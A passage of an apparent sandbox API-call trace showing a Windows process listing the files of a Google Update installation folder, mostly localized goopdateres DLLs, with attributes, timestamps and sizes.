(in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_hi.dll", cAlternateFileName="GO950C~1.DLL")) returned 1 [0116.771] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_hr.dll", cAlternateFileName="GOD93D~1.DLL")) returned 1 [0116.771] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_hu.dll", cAlternateFileName="GO65EC~1.DLL")) returned 1 [0116.771] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_id.dll", cAlternateFileName="GO9B55~1.DLL")) returned 1 [0116.771] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_is.dll", cAlternateFileName="GOEB36~1.DLL")) returned 1 [0116.771] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_it.dll", cAlternateFileName="GO79FD~1.DLL")) returned 1 [0116.771] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9e50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_iw.dll", cAlternateFileName="GOF8FD~1.DLL")) returned 1 [0116.771] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ja.dll", cAlternateFileName="GO19B9~1.DLL")) returned 1 [0116.772] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_kn.dll", cAlternateFileName="GOD1E2~1.DLL")) returned 1 [0116.772] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ko.dll", cAlternateFileName="GO9703~1.DLL")) returned 1 [0116.772] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_lt.dll", cAlternateFileName="GOB674~1.DLL")) returned 1 [0116.772] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_lv.dll", cAlternateFileName="GO6D3D~1.DLL")) returned 1 [0116.772] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ml.dll", cAlternateFileName="GOC08E~1.DLL")) returned 1 [0116.772] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_mr.dll", cAlternateFileName="GOFE9B~1.DLL")) returned 1 [0116.772] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ms.dll", cAlternateFileName="GO6698~1.DLL")) returned 1 [0116.772] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_nl.dll", cAlternateFileName="GOD98C~1.DLL")) returned 1 [0116.773] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_no.dll", cAlternateFileName="GO5A8C~1.DLL")) returned 1 [0116.773] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_pl.dll", cAlternateFileName="GO21C1~1.DLL")) returned 1 [0116.773] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_pt-BR.dll", cAlternateFileName="GOBB1C~1.DLL")) returned 1 [0116.773] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_pt-PT.dll", cAlternateFileName="GO3668~1.DLL")) returned 1 [0116.773] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ro.dll", cAlternateFileName="GOF742~1.DLL")) returned 1 [0116.773] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ru.dll", cAlternateFileName="GO67EE~1.DLL")) returned 1 [0116.773] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sk.dll", cAlternateFileName="GO472D~1.DLL")) returned 1 [0116.774] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sl.dll", cAlternateFileName="GO2CB4~1.DLL")) returned 1 [0116.774] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sr.dll", cAlternateFileName="GO9365~1.DLL")) returned 1 [0116.781] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sv.dll", cAlternateFileName="GO5E84~1.DLL")) returned 1 [0116.781] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sw.dll", cAlternateFileName="GO07AF~1.DLL")) returned 1 [0116.781] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ta.dll", cAlternateFileName="GOB6CE~1.DLL")) returned 1 [0116.781] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_te.dll", cAlternateFileName="GO8BF2~1.DLL")) returned 1 [0116.781] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_th.dll", cAlternateFileName="GO438A~1.DLL")) returned 1 [0116.782] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_tr.dll", cAlternateFileName="GO0156~1.DLL")) returned 1 [0116.782] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_uk.dll", cAlternateFileName="GOFFE7~1.DLL")) returned 1 [0116.782] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ur.dll", cAlternateFileName="GO0A51~1.DLL")) returned 1 [0116.782] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_vi.dll", cAlternateFileName="GO458B~1.DLL")) returned 1 [0116.782] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc5734ac, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_zh-CN.dll", cAlternateFileName="GO3A8A~1.DLL")) returned 1 [0116.782] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc5734ac, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_zh-TW.dll", cAlternateFileName="GO5219~1.DLL")) returned 1 [0116.782] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x99850, dwReserved0=0x0, dwReserved1=0x0, cFileName="npGoogleUpdate3.dll", cAlternateFileName="NPGOOG~1.DLL")) returned 1 [0116.782] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x32650, dwReserved0=0x0, dwReserved1=0x0, cFileName="psmachine.dll", cAlternateFileName="PSMACH~1.DLL")) returned 1 [0116.783] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="psmachine_64.dll", cAlternateFileName="PSMACH~2.DLL")) returned 1 [0116.783] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x32650, dwReserved0=0x0, dwReserved1=0x0, cFileName="psuser.dll", cAlternateFileName="")) returned 1 [0116.783] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="psuser_64.dll", cAlternateFileName="PSUSER~1.DLL")) returned 1 [0116.783] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.783] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0116.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede90) returned 1 [0116.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede50) returned 1 [0116.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedf50) returned 1 [0116.784] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5", nBufferLength=0x105, lpBuffer=0x1faed9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5", lpFilePart=0x0) returned 0x2e [0116.784] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\*", lpFindFileData=0x1faedc70 | out: lpFindFileData=0x1faedc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc7d58e1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0116.785] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc7d58e1, 